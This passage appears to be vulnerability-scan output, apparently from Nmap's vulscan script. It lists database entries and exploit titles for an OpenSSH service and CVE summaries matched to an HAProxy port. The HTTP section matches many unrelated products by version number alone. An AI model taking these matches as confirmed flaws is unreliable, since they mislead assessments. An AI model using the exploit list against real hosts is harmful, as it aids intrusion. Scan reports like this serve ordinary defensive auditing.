  3532. | [4560] OpenSSH Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability
  3533. | [4241] OpenSSH Channel Code Off-By-One Vulnerability
  3534. | [3614] OpenSSH UseLogin Environment Variable Passing Vulnerability
  3535. | [3560] OpenSSH Kerberos Arbitrary Privilege Elevation Vulnerability
  3536. | [3369] OpenSSH Key Based Source IP Access Control Bypass Vulnerability
  3537. | [3345] OpenSSH SFTP Command Restriction Bypassing Vulnerability
  3538. | [2917] OpenSSH PAM Session Evasion Vulnerability
  3539. | [2825] OpenSSH Client X11 Forwarding Cookie Removal File Symbolic Link Vulnerability
  3540. | [2356] OpenSSH Private Key Authentication Check Vulnerability
  3541. | [1949] OpenSSH Client Unauthorized Remote Forwarding Vulnerability
  3542. | [1334] OpenSSH UseLogin Vulnerability
  3543. |
  3544. | IBM X-Force - https://exchange.xforce.ibmcloud.com:
  3545. | [83258] GSI-OpenSSH auth-pam.c security bypass
  3546. | [82781] OpenSSH time limit denial of service
  3547. | [82231] OpenSSH pam_ssh_agent_auth PAM code execution
  3548. | [74809] OpenSSH ssh_gssapi_parse_ename denial of service
  3549. | [72756] Debian openssh-server commands information disclosure
  3550. | [68339] OpenSSH pam_thread buffer overflow
  3551. | [67264] OpenSSH ssh-keysign unauthorized access
  3552. | [65910] OpenSSH remote_glob function denial of service
  3553. | [65163] OpenSSH certificate information disclosure
  3554. | [64387] OpenSSH J-PAKE security bypass
  3555. | [63337] Cisco Unified Videoconferencing OpenSSH weak security
  3556. | [46620] OpenSSH and multiple SSH Tectia products CBC mode information disclosure
  3557. | [45202] OpenSSH signal handler denial of service
  3558. | [44747] RHEL OpenSSH backdoor
  3559. | [44280] OpenSSH PermitRootLogin information disclosure
  3560. | [44279] OpenSSH sshd weak security
  3561. | [44037] OpenSSH sshd SELinux role unauthorized access
  3562. | [43940] OpenSSH X11 forwarding information disclosure
  3563. | [41549] OpenSSH ForceCommand directive security bypass
  3564. | [41438] OpenSSH sshd session hijacking
  3565. | [40897] OpenSSH known_hosts weak security
  3566. | [40587] OpenSSH username weak security
  3567. | [37371] OpenSSH username data manipulation
  3568. | [37118] RHSA update for OpenSSH privilege separation monitor authentication verification weakness not installed
  3569. | [37112] RHSA update for OpenSSH signal handler race condition not installed
  3570. | [37107] RHSA update for OpenSSH identical block denial of service not installed
  3571. | [36637] OpenSSH X11 cookie privilege escalation
  3572. | [35167] OpenSSH packet.c newkeys[mode] denial of service
  3573. | [34490] OpenSSH OPIE information disclosure
  3574. | [33794] OpenSSH ChallengeResponseAuthentication information disclosure
  3575. | [32975] Apple Mac OS X OpenSSH denial of service
  3576. | [32387] RHSA-2006:0738 updates for openssh not installed
  3577. | [32359] RHSA-2006:0697 updates for openssh not installed
  3578. | [32230] RHSA-2006:0298 updates for openssh not installed
  3579. | [32132] RHSA-2006:0044 updates for openssh not installed
  3580. | [30120] OpenSSH privilege separation monitor authentication verification weakness
  3581. | [29255] OpenSSH GSSAPI user enumeration
  3582. | [29254] OpenSSH signal handler race condition
  3583. | [29158] OpenSSH identical block denial of service
  3584. | [28147] Apple Mac OS X OpenSSH nonexistent user login denial of service
  3585. | [25116] OpenSSH OpenPAM denial of service
  3586. | [24305] OpenSSH SCP shell expansion command execution
  3587. | [22665] RHSA-2005:106 updates for openssh not installed
  3588. | [22117] OpenSSH GSSAPI allows elevated privileges
  3589. | [22115] OpenSSH GatewayPorts security bypass
  3590. | [20930] OpenSSH sshd.c LoginGraceTime denial of service
  3591. | [19441] Sun Solaris OpenSSH LDAP (1) client authentication denial of service
  3592. | [17213] OpenSSH allows port bouncing attacks
  3593. | [16323] OpenSSH scp file overwrite
  3594. | [13797] OpenSSH PAM information leak
  3595. | [13271] OpenSSH could allow an attacker to corrupt the PAM conversion stack
  3596. | [13264] OpenSSH PAM code could allow an attacker to gain access
  3597. | [13215] OpenSSH buffer management errors could allow an attacker to execute code
  3598. | [13214] OpenSSH memory vulnerabilities
  3599. | [13191] OpenSSH large packet buffer overflow
  3600. | [12196] OpenSSH could allow an attacker to bypass login restrictions
  3601. | [11970] OpenSSH could allow an attacker to obtain valid administrative account
  3602. | [11902] OpenSSH PAM support enabled information leak
  3603. | [9803] OpenSSH &quot
  3604. | [9763] OpenSSH downloaded from the OpenBSD FTP site or OpenBSD FTP mirror sites could contain a Trojan Horse
  3605. | [9307] OpenSSH is running on the system
  3606. | [9169] OpenSSH &quot
  3607. | [8896] OpenSSH Kerberos 4 TGT/AFS buffer overflow
  3608. | [8697] FreeBSD libutil in OpenSSH fails to drop privileges prior to using the login class capability database
  3609. | [8383] OpenSSH off-by-one error in channel code
  3610. | [7647] OpenSSH UseLogin option arbitrary code execution
  3611. | [7634] OpenSSH using sftp and restricted keypairs could allow an attacker to bypass restrictions
  3612. | [7598] OpenSSH with Kerberos allows attacker to gain elevated privileges
  3613. | [7179] OpenSSH source IP access control bypass
  3614. | [6757] OpenSSH &quot
  3615. | [6676] OpenSSH X11 forwarding symlink attack could allow deletion of arbitrary files
  3616. | [6084] OpenSSH 2.3.1 allows remote users to bypass authentication
  3617. | [5517] OpenSSH allows unauthorized access to resources
  3618. | [4646] OpenSSH UseLogin option allows remote users to execute commands as root
  3619. |
  3620. | Exploit-DB - https://www.exploit-db.com:
  3621. | [21579] OpenSSH 3.x Challenge-Response Buffer Overflow Vulnerabilities (2)
  3622. | [21578] OpenSSH 3.x Challenge-Response Buffer Overflow Vulnerabilities (1)
  3623. | [21402] OpenSSH 2.x/3.x Kerberos 4 TGT/AFS Token Buffer Overflow Vulnerability
  3624. | [21314] OpenSSH 2.x/3.0.1/3.0.2 Channel Code Off-By-One Vulnerability
  3625. | [20253] OpenSSH 1.2 scp File Create/Overwrite Vulnerability
  3626. | [17462] FreeBSD OpenSSH 3.5p1 - Remote Root Exploit
  3627. | [14866] Novell Netware 6.5 - OpenSSH Remote Stack Overflow
  3628. | [6094] Debian OpenSSH Remote SELinux Privilege Elevation Exploit (auth)
  3629. | [3303] Portable OpenSSH <= 3.6.1p-PAM / 4.1-SUSE Timing Attack Exploit
  3630. | [2444] OpenSSH <= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit
  3631. | [1572] Dropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service
  3632. | [258] glibc-2.2 and openssh-2.3.0p1 exploits glibc => 2.1.9x
  3633. | [26] OpenSSH/PAM <= 3.6.1p1 Remote Users Ident (gossh.sh)
  3634. | [25] OpenSSH/PAM <= 3.6.1p1 Remote Users Discovery Tool
  3635. |
  3636. | OpenVAS (Nessus) - http://www.openvas.org:
  3637. | [902488] OpenSSH 'sshd' GSSAPI Credential Disclosure Vulnerability
  3638. | [900179] OpenSSH CBC Mode Information Disclosure Vulnerability
  3639. | [881183] CentOS Update for openssh CESA-2012:0884 centos6
  3640. | [880802] CentOS Update for openssh CESA-2009:1287 centos5 i386
  3641. | [880746] CentOS Update for openssh CESA-2009:1470 centos5 i386
  3642. | [870763] RedHat Update for openssh RHSA-2012:0884-04
  3643. | [870129] RedHat Update for openssh RHSA-2008:0855-01
  3644. | [861813] Fedora Update for openssh FEDORA-2010-5429
  3645. | [861319] Fedora Update for openssh FEDORA-2007-395
  3646. | [861170] Fedora Update for openssh FEDORA-2007-394
  3647. | [861012] Fedora Update for openssh FEDORA-2007-715
  3648. | [840345] Ubuntu Update for openssh vulnerability USN-597-1
  3649. | [840300] Ubuntu Update for openssh update USN-612-5
  3650. | [840271] Ubuntu Update for openssh vulnerability USN-612-2
  3651. | [840268] Ubuntu Update for openssh update USN-612-7
  3652. | [840259] Ubuntu Update for openssh vulnerabilities USN-649-1
  3653. | [840214] Ubuntu Update for openssh vulnerability USN-566-1
  3654. | [831074] Mandriva Update for openssh MDVA-2010:162 (openssh)
  3655. | [830929] Mandriva Update for openssh MDVA-2010:090 (openssh)
  3656. | [830807] Mandriva Update for openssh MDVA-2010:026 (openssh)
  3657. | [830603] Mandriva Update for openssh MDVSA-2008:098 (openssh)
  3658. | [830523] Mandriva Update for openssh MDVSA-2008:078 (openssh)
  3659. | [830317] Mandriva Update for openssh-askpass-qt MDKA-2007:127 (openssh-askpass-qt)
  3660. | [830191] Mandriva Update for openssh MDKSA-2007:236 (openssh)
  3661. | [802407] OpenSSH 'sshd' Challenge Response Authentication Buffer Overflow Vulnerability
  3662. | [103503] openssh-server Forced Command Handling Information Disclosure Vulnerability
  3663. | [103247] OpenSSH Ciphersuite Specification Information Disclosure Weakness
  3664. | [103064] OpenSSH Legacy Certificate Signing Information Disclosure Vulnerability
  3665. | [100584] OpenSSH X Connections Session Hijacking Vulnerability
  3666. | [100153] OpenSSH CBC Mode Information Disclosure Vulnerability
  3667. | [66170] CentOS Security Advisory CESA-2009:1470 (openssh)
  3668. | [65987] SLES10: Security update for OpenSSH
  3669. | [65819] SLES10: Security update for OpenSSH
  3670. | [65514] SLES9: Security update for OpenSSH
  3671. | [65513] SLES9: Security update for OpenSSH
  3672. | [65334] SLES9: Security update for OpenSSH
  3673. | [65248] SLES9: Security update for OpenSSH
  3674. | [65218] SLES9: Security update for OpenSSH
  3675. | [65169] SLES9: Security update for openssh,openssh-askpass
  3676. | [65126] SLES9: Security update for OpenSSH
  3677. | [65019] SLES9: Security update for OpenSSH
  3678. | [65015] SLES9: Security update for OpenSSH
  3679. | [64931] CentOS Security Advisory CESA-2009:1287 (openssh)
  3680. | [61639] Debian Security Advisory DSA 1638-1 (openssh)
  3681. | [61030] Debian Security Advisory DSA 1576-2 (openssh)
  3682. | [61029] Debian Security Advisory DSA 1576-1 (openssh)
  3683. | [60840] FreeBSD Security Advisory (FreeBSD-SA-08:05.openssh.asc)
  3684. | [60803] Gentoo Security Advisory GLSA 200804-03 (openssh)
  3685. | [60667] Slackware Advisory SSA:2008-095-01 openssh
  3686. | [59014] Slackware Advisory SSA:2007-255-01 openssh
  3687. | [58741] Gentoo Security Advisory GLSA 200711-02 (openssh)
  3688. | [57919] Gentoo Security Advisory GLSA 200611-06 (openssh)
  3689. | [57895] Gentoo Security Advisory GLSA 200609-17 (openssh)
  3690. | [57585] Debian Security Advisory DSA 1212-1 (openssh (1:3.8.1p1-8.sarge.6))
  3691. | [57492] Slackware Advisory SSA:2006-272-02 openssh
  3692. | [57483] Debian Security Advisory DSA 1189-1 (openssh-krb5)
  3693. | [57476] FreeBSD Security Advisory (FreeBSD-SA-06:22.openssh.asc)
  3694. | [57470] FreeBSD Ports: openssh
  3695. | [56352] FreeBSD Security Advisory (FreeBSD-SA-06:09.openssh.asc)
  3696. | [56330] Gentoo Security Advisory GLSA 200602-11 (OpenSSH)
  3697. | [56294] Slackware Advisory SSA:2006-045-06 openssh
  3698. | [53964] Slackware Advisory SSA:2003-266-01 New OpenSSH packages
  3699. | [53885] Slackware Advisory SSA:2003-259-01 OpenSSH Security Advisory
  3700. | [53884] Slackware Advisory SSA:2003-260-01 OpenSSH updated again
  3701. | [53788] Debian Security Advisory DSA 025-1 (openssh)
  3702. | [52638] FreeBSD Security Advisory (FreeBSD-SA-03:15.openssh.asc)
  3703. | [52635] FreeBSD Security Advisory (FreeBSD-SA-03:12.openssh.asc)
  3704. | [11343] OpenSSH Client Unauthorized Remote Forwarding
  3705. | [10954] OpenSSH AFS/Kerberos ticket/token passing
  3706. | [10883] OpenSSH Channel Code Off by 1
  3707. | [10823] OpenSSH UseLogin Environment Variables
  3708. |
  3709. | SecurityTracker - https://www.securitytracker.com:
  3710. | [1028187] OpenSSH pam_ssh_agent_auth Module on Red Hat Enterprise Linux Lets Remote Users Execute Arbitrary Code
  3711. | [1026593] OpenSSH Lets Remote Authenticated Users Obtain Potentially Sensitive Information
  3712. | [1025739] OpenSSH on FreeBSD Has Buffer Overflow in pam_thread() That Lets Remote Users Execute Arbitrary Code
  3713. | [1025482] OpenSSH ssh-keysign Utility Lets Local Users Gain Elevated Privileges
  3714. | [1025028] OpenSSH Legacy Certificates May Disclose Stack Contents to Remote Users
  3715. | [1022967] OpenSSH on Red Hat Enterprise Linux Lets Remote Authenticated Users Gain Elevated Privileges
  3716. | [1021235] OpenSSH CBC Mode Error Handling May Let Certain Remote Users Obtain Plain Text in Certain Cases
  3717. | [1020891] OpenSSH on Debian Lets Remote Users Prevent Logins
  3718. | [1020730] OpenSSH for Red Hat Enterprise Linux Packages May Have Been Compromised
  3719. | [1020537] OpenSSH on HP-UX Lets Local Users Hijack X11 Sessions
  3720. | [1019733] OpenSSH Unsafe Default Configuration May Let Local Users Execute Arbitrary Commands
  3721. | [1019707] OpenSSH Lets Local Users Hijack Forwarded X Sessions in Certain Cases
  3722. | [1017756] Apple OpenSSH Key Generation Process Lets Remote Users Deny Service
  3723. | [1017183] OpenSSH Privilege Separation Monitor Validation Error May Cause the Monitor to Fail to Properly Control the Unprivileged Process
  3724. | [1016940] OpenSSH Race Condition in Signal Handler Lets Remote Users Deny Service and May Potentially Permit Code Execution
  3725. | [1016939] OpenSSH GSSAPI Authentication Abort Error Lets Remote Users Determine Valid Usernames
  3726. | [1016931] OpenSSH SSH v1 CRC Attack Detection Implementation Lets Remote Users Deny Service
  3727. | [1016672] OpenSSH on Mac OS X Lets Remote Users Deny Service
  3728. | [1015706] OpenSSH Interaction With OpenPAM Lets Remote Users Deny Service
  3729. | [1015540] OpenSSH scp Double Shell Character Expansion During Local-to-Local Copying May Let Local Users Gain Elevated Privileges in Certain Cases
  3730. | [1014845] OpenSSH May Unexpectedly Activate GatewayPorts and Also May Disclose GSSAPI Credentials in Certain Cases
  3731. | [1011193] OpenSSH scp Directory Traversal Flaw Lets Remote SSH Servers Overwrite Files in Certain Cases
  3732. | [1011143] OpenSSH Default Configuration May Be Unsafe When Used With Anonymous SSH Services
  3733. | [1007791] Portable OpenSSH PAM free() Bug May Let Remote Users Execute Root Code
  3734. | [1007716] OpenSSH buffer_append_space() and Other Buffer Management Errors May Let Remote Users Execute Arbitrary Code
  3735. | [1006926] OpenSSH Host Access Restrictions Can Be Bypassed By Remote Users
  3736. | [1006688] OpenSSH Timing Flaw With Pluggable Authentication Modules Can Disclose Valid User Account Names to Remote Users
  3737. | [1004818] OpenSSH's Secure Shell (SSH) Implementation Weakness May Disclose User Passwords to Remote Users During Man-in-the-Middle Attacks
  3738. | [1004616] OpenSSH Integer Overflow and Buffer Overflow May Allow Remote Users to Gain Root Access to the System
  3739. | [1004391] OpenSSH 'BSD_AUTH' Access Control Bug May Allow Unauthorized Remote Users to Authenticated to the System
  3740. | [1004115] OpenSSH Buffer Overflow in Kerberos Ticket and AFS Token Processing Lets Local Users Execute Arbitrary Code With Root Level Permissions
  3741. | [1003758] OpenSSH Off-by-one 'Channels' Bug May Let Authorized Remote Users Execute Arbitrary Code with Root Privileges
  3742. | [1002895] OpenSSH UseLogin Environment Variable Bug Lets Local Users Execute Commands and Gain Root Access
  3743. | [1002748] OpenSSH 3.0 Denial of Service Condition May Allow Remote Users to Crash the sshd Daemon and KerberosV Configuration Error May Allow Remote Users to Partially Authenticate When Authentication Should Not Be Permitted
  3744. | [1002734] OpenSSH's S/Key Implementation Information Disclosure Flaw Provides Remote Users With Information About Valid User Accounts
  3745. | [1002455] OpenSSH May Fail to Properly Restrict IP Addresses in Certain Configurations
  3746. | [1002432] OpenSSH's Sftp-server Subsystem Lets Authorized Remote Users with Restricted Keypairs Obtain Additional Access on the Server
  3747. | [1001683] OpenSSH Allows Authorized Users to Delete Other User Files Named Cookies
  3748. |
  3749. | OSVDB - http://www.osvdb.org:
  3750. | [92034] GSI-OpenSSH auth-pam.c Memory Management Authentication Bypass
  3751. | [90474] Red Hat / Fedora PAM Module for OpenSSH Incorrect error() Function Calling Local Privilege Escalation
  3752. | [90007] OpenSSH logingracetime / maxstartup Threshold Connection Saturation Remote DoS
  3753. | [81500] OpenSSH gss-serv.c ssh_gssapi_parse_ename Function Field Length Value Parsing Remote DoS
  3754. | [78706] OpenSSH auth-options.c sshd auth_parse_options Function authorized_keys Command Option Debug Message Information Disclosure
  3755. | [75753] OpenSSH PAM Module Aborted Conversation Local Information Disclosure
  3756. | [75249] OpenSSH sftp-glob.c remote_glob Function Glob Expression Parsing Remote DoS
  3757. | [75248] OpenSSH sftp.c process_put Function Glob Expression Parsing Remote DoS
  3758. | [72183] Portable OpenSSH ssh-keysign ssh-rand-helper Utility File Descriptor Leak Local Information Disclosure
  3759. | [70873] OpenSSH Legacy Certificates Stack Memory Disclosure
  3760. | [69658] OpenSSH J-PAKE Public Parameter Validation Shared Secret Authentication Bypass
  3761. | [67743] Novell NetWare OpenSSH SSHD.NLM Absolute Path Handling Remote Overflow
  3762. | [59353] OpenSSH sshd Local TCP Redirection Connection Masking Weakness
  3763. | [58495] OpenSSH sshd ChrootDirectory Feature SetUID Hard Link Local Privilege Escalation
  3764. | [56921] OpenSSH Unspecified Remote Compromise
  3765. | [53021] OpenSSH on ftp.openbsd.org Trojaned Distribution
  3766. | [50036] OpenSSH CBC Mode Chosen Ciphertext 32-bit Chunk Plaintext Context Disclosure
  3767. | [49386] OpenSSH sshd TCP Connection State Remote Account Enumeration
  3768. | [48791] OpenSSH on Debian sshd Crafted Username Arbitrary Remote SELinux Role Access
  3769. | [47635] OpenSSH Packages on Red Hat Enterprise Linux Compromised Distribution
  3770. | [47227] OpenSSH X11UseLocalhost X11 Forwarding Port Hijacking
  3771. | [45873] Cisco WebNS SSHield w/ OpenSSH Crafted Large Packet Remote DoS
  3772. | [43911] OpenSSH ~/.ssh/rc ForceCommand Bypass Arbitrary Command Execution
  3773. | [43745] OpenSSH X11 Forwarding Local Session Hijacking
  3774. | [43371] OpenSSH Trusted X11 Cookie Connection Policy Bypass
  3775. | [39214] OpenSSH linux_audit_record_event Crafted Username Audit Log Injection
  3776. | [37315] pam_usb OpenSSH Authentication Unspecified Issue
  3777. | [34850] OpenSSH on Mac OS X Key Generation Remote Connection DoS
  3778. | [34601] OPIE w/ OpenSSH Account Enumeration
  3779. | [34600] OpenSSH S/KEY Authentication Account Enumeration
  3780. | [32721] OpenSSH Username Password Complexity Account Enumeration
  3781. | [30232] OpenSSH Privilege Separation Monitor Weakness
  3782. | [29494] OpenSSH packet.c Invalid Protocol Sequence Remote DoS
  3783. | [29266] OpenSSH GSSAPI Authentication Abort Username Enumeration
  3784. | [29264] OpenSSH Signal Handler Pre-authentication Race Condition Code Execution
  3785. | [29152] OpenSSH Identical Block Packet DoS
  3786. | [27745] Apple Mac OS X OpenSSH Nonexistent Account Login Enumeration DoS
  3787. | [23797] OpenSSH with OpenPAM Connection Saturation Forked Process Saturation DoS
  3788. | [22692] OpenSSH scp Command Line Filename Processing Command Injection
  3789. | [20216] OpenSSH with KerberosV Remote Authentication Bypass
  3790. | [19142] OpenSSH Multiple X11 Channel Forwarding Leaks
  3791. | [19141] OpenSSH GSSAPIAuthentication Credential Escalation
  3792. | [18236] OpenSSH no pty Command Execution Local PAM Restriction Bypass
  3793. | [16567] OpenSSH Privilege Separation LoginGraceTime DoS
  3794. | [16039] Solaris 108994 Series Patch OpenSSH LDAP Client Authentication DoS
  3795. | [9562] OpenSSH Default Configuration Anon SSH Service Port Bounce Weakness
  3796. | [9550] OpenSSH scp Traversal Arbitrary File Overwrite
  3797. | [6601] OpenSSH *realloc() Unspecified Memory Errors
  3798. | [6245] OpenSSH SKEY/BSD_AUTH Challenge-Response Remote Overflow
  3799. | [6073] OpenSSH on FreeBSD libutil Arbitrary File Read
  3800. | [6072] OpenSSH PAM Conversation Function Stack Modification
  3801. | [6071] OpenSSH SSHv1 PAM Challenge-Response Authentication Privilege Escalation
  3802. | [5536] OpenSSH sftp-server Restricted Keypair Restriction Bypass
  3803. | [5408] OpenSSH echo simulation Information Disclosure
  3804. | [5113] OpenSSH NIS YP Netgroups Authentication Bypass
  3805. | [4536] OpenSSH Portable AIX linker Privilege Escalation
  3806. | [3938] OpenSSL and OpenSSH /dev/random Check Failure
  3807. | [3456] OpenSSH buffer_append_space() Heap Corruption
  3808. | [2557] OpenSSH Multiple Buffer Management Multiple Overflows
  3809. | [2140] OpenSSH w/ PAM Username Validity Timing Attack
  3810. | [2112] OpenSSH Reverse DNS Lookup Bypass
  3811. | [2109] OpenSSH sshd Root Login Timing Side-Channel Weakness
  3812. | [1853] OpenSSH Symbolic Link 'cookies' File Removal
  3813. | [839] OpenSSH PAMAuthenticationViaKbdInt Challenge-Response Remote Overflow
  3814. | [781] OpenSSH Kerberos TGT/AFS Token Passing Remote Overflow
  3815. | [730] OpenSSH Channel Code Off by One Remote Privilege Escalation
  3816. | [688] OpenSSH UseLogin Environment Variable Local Command Execution
  3817. | [642] OpenSSH Multiple Key Type ACL Bypass
  3818. | [504] OpenSSH SSHv2 Public Key Authentication Bypass
  3819. | [341] OpenSSH UseLogin Local Privilege Escalation
  3820. |_
  3821. 80/tcp open http-proxy HAProxy http proxy 1.3.1 or later
  3822. | vulscan: VulDB - https://vuldb.com:
  3823. | [112920] Saifor CVMS HUB 1.3.1 HTTP Parameter secciones.xhtml sql injection
  3824. | [65806] IBM Sterling Connect Enterprise Http Option up to 1.3.1 cross site scripting
  3825. | [124580] Telegram Desktop 1.3.16 Alpha Proxy Cleartext weak encryption
  3826. | [82327] Cisco Unified Computing System up to 1.3(1b) HTTP Request Command privilege escalation
  3827. | [6748] Oracle Central Designer 1.3/1.4/1.4.2 HTTP unknown vulnerability
  3828. | [51717] Apache HTTP Server up to 1.3.3 mod_proxy ap_proxy_send_fb memory corruption
  3829. |
  3830. | MITRE CVE - https://cve.mitre.org:
  3831. | [CVE-2011-4451] ** DISPUTED ** libs/Wakka.class.php in WikkaWiki 1.3.1 and 1.3.2, when the spam_logging option is enabled, allows remote attackers to write arbitrary PHP code to the spamlog_path file via the User-Agent HTTP header in an addcomment request. NOTE: the vendor disputes this issue because the rendering of the spamlog_path file never uses the PHP interpreter.
  3832. | [CVE-2011-4449] actions/files/files.php in WikkaWiki 1.3.1 and 1.3.2, when INTRANET_MODE is enabled, supports file uploads for file extensions that are typically absent from an Apache HTTP Server TypesConfig file, which makes it easier for remote attackers to execute arbitrary PHP code by placing this code in a file whose name has multiple extensions, as demonstrated by a (1) .mm or (2) .vpp file.
  3833. | [CVE-2011-4140] The CSRF protection mechanism in Django through 1.2.7 and 1.3.x through 1.3.1 does not properly handle web-server configurations supporting arbitrary HTTP Host headers, which allows remote attackers to trigger unauthenticated forged requests via vectors involving a DNS CNAME record and a web page containing JavaScript code.
  3834. | [CVE-2011-4139] Django before 1.2.7 and 1.3.x before 1.3.1 uses a request's HTTP Host header to construct a full URL in certain circumstances, which allows remote attackers to conduct cache poisoning attacks via a crafted request.
  3835. | [CVE-2009-4492] WEBrick 1.3.1 in Ruby 1.8.6 through patchlevel 383, 1.8.7 through patchlevel 248, 1.8.8dev, 1.9.1 through patchlevel 376, and 1.9.2dev writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.
  3836. | [CVE-2008-1385] Cross-site scripting (XSS) vulnerability in the Top Referrers (aka referrer) plugin in Serendipity (S9Y) before 1.3.1 allows remote attackers to inject arbitrary web script or HTML via the Referer HTTP header.
  3837. | [CVE-2007-5273] Sun Java Runtime Environment (JRE) in JDK and JRE 6 Update 2 and earlier, JDK and JRE 5.0 Update 12 and earlier, SDK and JRE 1.4.2_15 and earlier, and SDK and JRE 1.3.1_20 and earlier, when an HTTP proxy server is used, allows remote attackers to violate the security model for an applet's outbound connections via a multi-pin DNS rebinding attack in which the applet download relies on DNS resolution on the proxy server, but the applet's socket operations rely on DNS resolution on the local machine, a different issue than CVE-2007-5274. NOTE: this is similar to CVE-2007-5232.
  3838. | [CVE-2007-0760] EQdkp 1.3.1 and earlier authenticates administrative requests by verifying that the HTTP Referer header specifies an admin/ URL, which allows remote attackers to read or modify account names and passwords via a spoofed Referer.
  3839. | [CVE-2004-2124] The register_globals simulation capability in Gallery 1.3.1 through 1.4.1 allows remote attackers to modify the HTTP_POST_VARS variable and conduct a PHP remote file inclusion attack via the GALLERY_BASEDIR parameter, a different vulnerability than CVE-2002-1412.
  3840. | [CVE-2001-0399] Caucho Resin 1.3b1 and earlier allows remote attackers to read source code for Javabean files by inserting a .jsp before the WEB-INF specifier in an HTTP request.
  3841. | [CVE-2013-2070] http/modules/ngx_http_proxy_module.c in nginx 1.1.4 through 1.2.8 and 1.3.0 through 1.4.0, when proxy_pass is used with untrusted HTTP servers, allows remote attackers to cause a denial of service (crash) and obtain sensitive information from worker process memory via a crafted proxy response, a similar vulnerability to CVE-2013-2028.
  3842. | [CVE-2011-4317] The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an @ (at sign) character and a : (colon) character in invalid positions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-3368.
  3843. | [CVE-2011-3368] The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.
  3844. | [CVE-2010-3574] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that HttpURLConnection does not properly check for the allowHttpTrace permission, which allows untrusted code to perform HTTP TRACE requests.
  3845. | [CVE-2010-3553] Unspecified vulnerability in the Swing component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is related to unsafe reflection involving the UIDefault.ProxyLazyValue class.
  3846. | [CVE-2010-3549] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is an HTTP request splitting vulnerability involving the handling of the chunked transfer encoding method by the HttpURLConnection class.
  3847. | [CVE-2010-3541] Unspecified vulnerability in the Networking component in Oracle Java SE and Java for Business 6 Update 21, 5.0 Update 25, 1.4.2_27, and 1.3.1_28 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2010 CPU. Oracle has not commented on claims from a reliable downstream vendor that this is related to missing validation of request headers in the HttpURLConnection class when they are set by applets, which allows remote attackers to bypass the intended security policy.
  3848. | [CVE-2010-1623] Memory leak in the apr_brigade_split_line function in buckets/apr_brigade.c in the Apache Portable Runtime Utility library (aka APR-util) before 1.3.10, as used in the mod_reqtimeout module in the Apache HTTP Server and other software, allows remote attackers to cause a denial of service (memory consumption) via unspecified vectors related to the destruction of an APR bucket.
  3849. | [CVE-2010-0010] Integer overflow in the ap_proxy_send_fb function in proxy/proxy_util.c in mod_proxy in the Apache HTTP Server before 1.3.42 on 64-bit platforms allows remote origin servers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a large chunk size that triggers a heap-based buffer overflow.
  3850. | [CVE-2009-3877] Unspecified vulnerability in Sun Java SE in JDK and JRE 5.0 before Update 22, JDK and JRE 6 before Update 17, SDK and JRE 1.3.x before 1.3.1_27, and SDK and JRE 1.4.x before 1.4.2_24 allows remote attackers to cause a denial of service (memory consumption) via crafted HTTP headers, which are not properly parsed by the ASN.1 DER input stream parser, aka Bug Id 6864911.
  3851. | [CVE-2009-0164] The web interface for CUPS before 1.3.10 does not validate the HTTP Host header in a client request, which makes it easier for remote attackers to conduct DNS rebinding attacks.
  3852. | [CVE-2005-2088] The Apache HTTP server before 1.3.34, and 2.0.x before 2.0.55, when acting as an HTTP proxy, allows remote attackers to poison the web cache, bypass web application firewall protection, and conduct XSS attacks via an HTTP request with both a "Transfer-Encoding: chunked" header and a Content-Length header, which causes Apache to incorrectly handle and forward the body of the request in a way that causes the receiving server to process it as a separate HTTP request, aka "HTTP Request Smuggling."
  3853. | [CVE-2005-1760] sysreport 1.3.15 and earlier includes contents of the up2date file in a report, which leaks the password for a proxy server in plaintext and allows local users to gain privileges.
  3854. | [CVE-2004-2762] The server in IBM Tivoli Storage Manager (TSM) 4.2.x on MVS, 5.1.9.x before 5.1.9.1, 5.1.x before 5.1.10, 5.2.2.x before 5.2.2.3, 5.2.x before 5.2.3, 5.3.x before 5.3.0, and 6.x before 6.1, when the HTTP communication method is enabled, allows remote attackers to cause a denial of service (daemon crash or hang) via unspecified HTTP traffic, as demonstrated by the IBM port scanner 1.3.1.
  3855. | [CVE-2004-0700] Format string vulnerability in the mod_proxy hook functions function in ssl_engine_log.c in mod_ssl before 2.8.19 for Apache before 1.3.31 may allow remote attackers to execute arbitrary messages via format string specifiers in certain log messages for HTTPS that are handled by the ssl_log function.
  3856. | [CVE-2004-0492] Heap-based buffer overflow in proxy_util.c for mod_proxy in Apache 1.3.25 to 1.3.31 allows remote attackers to cause a denial of service (process crash) and possibly execute arbitrary code via a negative Content-Length HTTP header field, which causes a large amount of data to be copied.
